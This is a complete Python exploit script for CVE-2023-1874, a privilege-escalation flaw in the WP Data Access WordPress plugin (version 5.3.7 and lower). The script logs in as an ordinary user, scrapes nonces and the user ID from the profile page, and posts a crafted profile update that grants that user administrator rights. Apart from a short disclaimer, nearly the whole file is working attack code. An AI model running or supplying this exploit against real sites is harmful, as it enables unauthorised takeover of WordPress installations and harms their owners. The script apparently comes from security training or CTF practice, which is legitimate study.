#!/usr/bin/env python3 ################################################################# # DISCLAIMER ################################################################# # # THIS SCRIPT IS DESIGNED FOR WHITE HAT AND EDUCATIONAL PURPOSES # ONLY. ANY USE OF THIS AGAINST A DEVICE YOU ARE NOT AUTHORIZED # TO TEST ON OR DO NOT OWN IS YOUR OWN RESPONSIBILITY. THE AUTHOR # OF THIS SCRIPT TAKES NO RESPONSIBILITY FOR ANYTHING YOU DO WITH # THIS SCRIPT. YOUR ACTIONS ARE YOUR OWN. # ################################################################# # # Exploit: CVE-2023-1874 # # Description: # # This script is designed to exploit CVE-2023-1874 which is a # privilege escalation attack against Wordpress sites running # the WP Data Access plugin version 5.3.7 and lower. # # The arguments/payloads in the requests may need to be adjusted # based on the site. # # References: # # https://nvd.nist.gov/vuln/detail/CVE-2023-1874 # # https://wpscan.com/vulnerability/7871b890-5172-40aa-88f2-a1b95e240ad4/ # ################################################################# # Example Call ################################################################# # # export TARGETIP=localhost # export TARGETPORT=80 # export WPPATH=wordpress # export WPUSERNAME=myuser # export WPPASSWORD=mypass # # python3 cve20231874.py $TARGETIP $TARGETPORT -u $WPUSERNAME -p $WPPASSWORD --path $WPPATH # ################################################################# import argparse import os import platform import re import requests class Exploiter: def __init__(self, baseurl:str, username:str, password:str) -> None: if not(isinstance(baseurl,str)): raise TypeError(f"baseurl must be a string. got {type(baseurl)}") baseurl = baseurl.strip() if len(baseurl) < 1: raise ValueError("baseurl must be a non-zero length string") if not(isinstance(password,str)): raise TypeError(f"password must be a string. got {type(password)}") password = password.strip() if len(password) < 1: raise ValueError("password must be a non-zero length string") if not(isinstance(username,str)): raise TypeError(f"username must be a string. got {type(username)}") username = username.strip() if len(username) < 1: raise ValueError("username must be a non-zero length string") self.__baseurl = baseurl self.__loginrt = "wp-login.php" self.__password = password self.__profilert = "wp-admin/profile.php" self.__timeout = 60 self.__username = username self.__session = requests.session() return def __get_profile_source(self): """ function designed to pull the HTML source for the profile.php page. this will can be used to extract relevant information like nonces and userids that can be passed along with profile update requests, etc. """ message = str() source = str() success = bool() target = f"{self.__baseurl}/{self.__profilert}" try: resp = self.__session.get(target, timeout=self.__timeout) if resp.status_code >= 400: raise ValueError(f"bad status code ({resp.status_code} {resp.reason})") source = resp.text message = "profile source successfully grabbed" success = True except Exception as ex: message = str(ex) success = False return (source, success, message) def login(self): """ function designed to attempt a login to the target site using the credentials provided by the user when setting up the class instance. """ message = str() payload = { "log": self.__username, "pwd": self.__password, "wp-submit": "Log+In", "redirect_to": f"{self.__baseurl}/wp-admin/", "testcookie": "1" } passpat = f"Error\:<\/strong> The password you entered" success = bool() target = f"{self.__baseurl}/{self.__loginrt}" userpat = f"Error\:<\/strong> The username {self.__username}<\/strong>" try: SysMsgNB("making GET request to login page to set cookies ...") resp = self.__session.get(target, timeout=self.__timeout) if resp.status_code >= 400: raise ValueError("login page is unreachable") SucMsg("cookies set") SysMsgNB("making POST to login page to test credentials ...") resp = self.__session.post(target, data=payload, timeout=self.__timeout) if resp.status_code >= 400: raise ValueError(f"bad status code ({resp.status_code} {resp.reason})") _, success, message = FindFlag(resp.text, userpat) if success: raise ValueError("username incorrect") _, success, message = FindFlag(resp.text, passpat) if success: raise ValueError("password incorrect") message = "login success" success = True except Exception as ex: message = str(ex) success = False return (success, message) def exploit(self): """ function designed to login to a vulnerable wordpress site as a given user and grant the user administrative privileges on the site by exploiting CVE-2023-1874. """ message = str() patcnon = "name=\"color-nonce\" value=\"([a-zA-Z0-9]+)\"" patfrom = "name=\"from\" value=\"([a-zA-Z]+)\"" patnonce = "name=\"_wpnonce\"\svalue=\"([a-zA-Z0-9]+)\"" patuid = "name=\"checkuser_id\" value=\"([0-9]+)\"" payload = { "_wpnonce": "", "_wp_http_referer": "/wordpress/wp-admin/profile.php", "from": "", "checkuser_id": "", "color-nonce": "", "admin_color": "fresh", "admin_bar_font": "1", "first_name": self.__username, "last_name": self.__username, "nickname": self.__username, "displayname": self.__username, "email": f"{self.__username}@localhost.local", "url": "", "description": "", "pass1": "", "pass2": "", "action": "update", "user_id": "", "submit": "User+Profile", "wpda_role[]": "administrator" # this is the exploit } source = str() success = bool() target = f"{self.__baseurl}/{self.__profilert}" try: SysMsgNB("logging in ...") success, message = self.login() if not(success): raise ValueError(message) SucMsg(message) SysMsgNB("getting profile source ...") source, success, message = self.__get_profile_source() if not(success): raise ValueError(message) SucMsg(message) payload["_wpnonce"], success, message = FindFlag(source, patnonce) if not(success): raise ValueError(f"wpnonce - {message}") SucMsg(f"wpnonce: {payload['_wpnonce']}") payload["checkuser_id"], success, message = FindFlag(source, patuid) if not(success): raise ValueError(f"uid - {message}") payload["user_id"] = payload["checkuser_id"] SucMsg(f"userid: {payload['checkuser_id']}") payload["from"], success, message = FindFlag(source, patfrom) if not(success): raise ValueError(f"from - {message}") SucMsg(f"from: {payload['from']}") payload["color-nonce"], success, message = FindFlag(source, patcnon) if not(success): raise ValueError(f"colornonce - {message}") SucMsg(f"color-nonce: {payload['color-nonce']}") SysMsgNB("granting admin privileges ...") resp = self.__session.post(target, data=payload, timeout=self.__timeout) if resp.status_code >= 400: raise ValueError(f"bad status code ({resp.status_code} {resp.reason})") SucMsg(f"admin privileges successfully granted to \"{self.__username}\"") message = "exploit completed succesfully" success = True except Exception as ex: message = str(ex) success = False return (success, message) ############################################################ # Global Variables ############################################################ ANSI_CLRLN = "\r\x1b[2K\r" ANSI_RST = "\x1b[0m" ANSI_GRN = "\x1b[32;1m" ANSI_RED = "\x1b[31;1m" ANSI_BLU = "\x1b[34;1m" ANSI_YLW = "\x1b[33;1m" HTTPS_ENABLED = False ############################################################ # Formatting Functions ############################################################ def SucMsg(msg): print(f"{ANSI_CLRLN}{ANSI_GRN}[+]{ANSI_RST} {msg}") return def ErrMsg(msg): print(f"{ANSI_CLRLN}{ANSI_RED}[-]{ANSI_RST} {msg}") return def InfoMsg(msg): print(f"{ANSI_CLRLN}{ANSI_BLU}[i]{ANSI_RST} {msg}") return def InfoMsgNB(msg): print(f"{ANSI_CLRLN}{ANSI_BLU}[i]{ANSI_RST} {msg}", end="") return def SysMsg(msg): print(f"{ANSI_CLRLN}{ANSI_YLW}[*]{ANSI_RST} {msg}") return def SysMsgNB(msg): print(f"{ANSI_CLRLN}{ANSI_YLW}[*]{ANSI_RST} {msg}", end="") return ############################################################ # Validation Functions ############################################################ def nonemptystr(value): if not(isinstance(value,str)): raise TypeError(f"value must be string. got {type(value)}") value = value.strip() if len(value) < 1: raise ValueError("value must be a non-zero length string") return value def port_type(portno): portno = int(portno) if (portno < 1) or (portno > 65535): raise argparse.ArgumentError("Port must be within range 1 - 65535.") return portno ############################################################ def FindFlag(data, flagPattern=None): flag = str() message = str() success = bool() try: ############################################################ # Make sure data var is bytes or string. ############################################################ if not(isinstance(data,str)) and not(isinstance(data,bytes)): raise TypeError(f"Data must be string or bytes. Got {type(data)}.") if isinstance(data,str): data = data.encode('utf-8') ############################################################ # Normalize data. ############################################################ data = data.lower() if flagPattern is None: flagPattern = "thm{.*}" ############################################################ # Make sure flag pattern var is bytes or string. ############################################################ if not(isinstance(flagPattern,str)) and not(isinstance(flagPattern,bytes)): raise TypeError(f"FlagPattern must be string or bytes. Got {type(flagPattern)}.") ############################################################ # Normalize flag pattern. ############################################################ flagPattern = flagPattern.lower() ############################################################ # Match type of data and flag pattern. ############################################################ if type(flagPattern) != type(data): if isinstance(flagPattern,bytes): data = data.encode() elif isinstance(data,bytes): flagPattern = flagPattern.encode() ############################################################ # Search for flag pattern. ############################################################ reg = re.compile(flagPattern) matches = reg.findall(data) if len(matches) < 1: raise ValueError("flag not found in data") flag = matches[0] if isinstance(flag,bytes): flag = flag.decode('utf-8') message = f"flag found: \"{flag}\"" success = True except Exception as ex: flag = "" message = str(ex) success = False return (flag, success, message) def main(): scheme = str() parser = argparse.ArgumentParser() ############################################################ # Setup required command-line arguments. ############################################################ parser.add_argument("target", help="IP address or Domain of target.", type=nonemptystr) parser.add_argument("port", help="Port to connect to target on.", type=port_type) parser.add_argument("-u", "--user", help="user to login with", type=nonemptystr, required=True, dest="username") parser.add_argument("-p", "--pass", help="password for user", type=nonemptystr, required=True, dest="password") parser.add_argument("--path", help="route to wordpress site", type=str, dest="wppath", default="") parser.add_argument("--secure", help="use HTTPS scheme", action="store_true", dest="secure") args = parser.parse_args() target = args.target port = args.port secure = args.secure password = args.password username = args.username wppath = args.wppath if wppath is None: wppath = "" wppath = wppath.strip().strip("/").strip() ############################################################ # Set HTTP scheme (HTTP or HTTPS) based on arguments. ############################################################ if secure: scheme = "https" else: scheme = "http" print(f"{ANSI_RED}{'='*60}{ANSI_RST}") print(f"{ANSI_GRN}{'Target Information':^60}{ANSI_RST}") print(f"{ANSI_RED}{'='*60}{ANSI_RST}") InfoMsg(f"Target IP: {target}") InfoMsg(f"Target Port: {port}") InfoMsg(f"Scheme: {scheme}") print(f"{ANSI_RED}{'='*60}{ANSI_RST}") baseurl = f"{scheme}://{target}:{port}/{wppath}" try: attacker = Exploiter(baseurl=baseurl, username=username, password=password) success, message = attacker.exploit() if not(success): raise ValueError(message) SucMsg(message) except Exception as ex: ErrMsg(str(ex)) return if __name__ == "__main__": # make sure the ANSI escape characters are properly evalutated # on a windows machine. if platform.system().lower() == "windows": os.system("") # run the main exploit logic. main()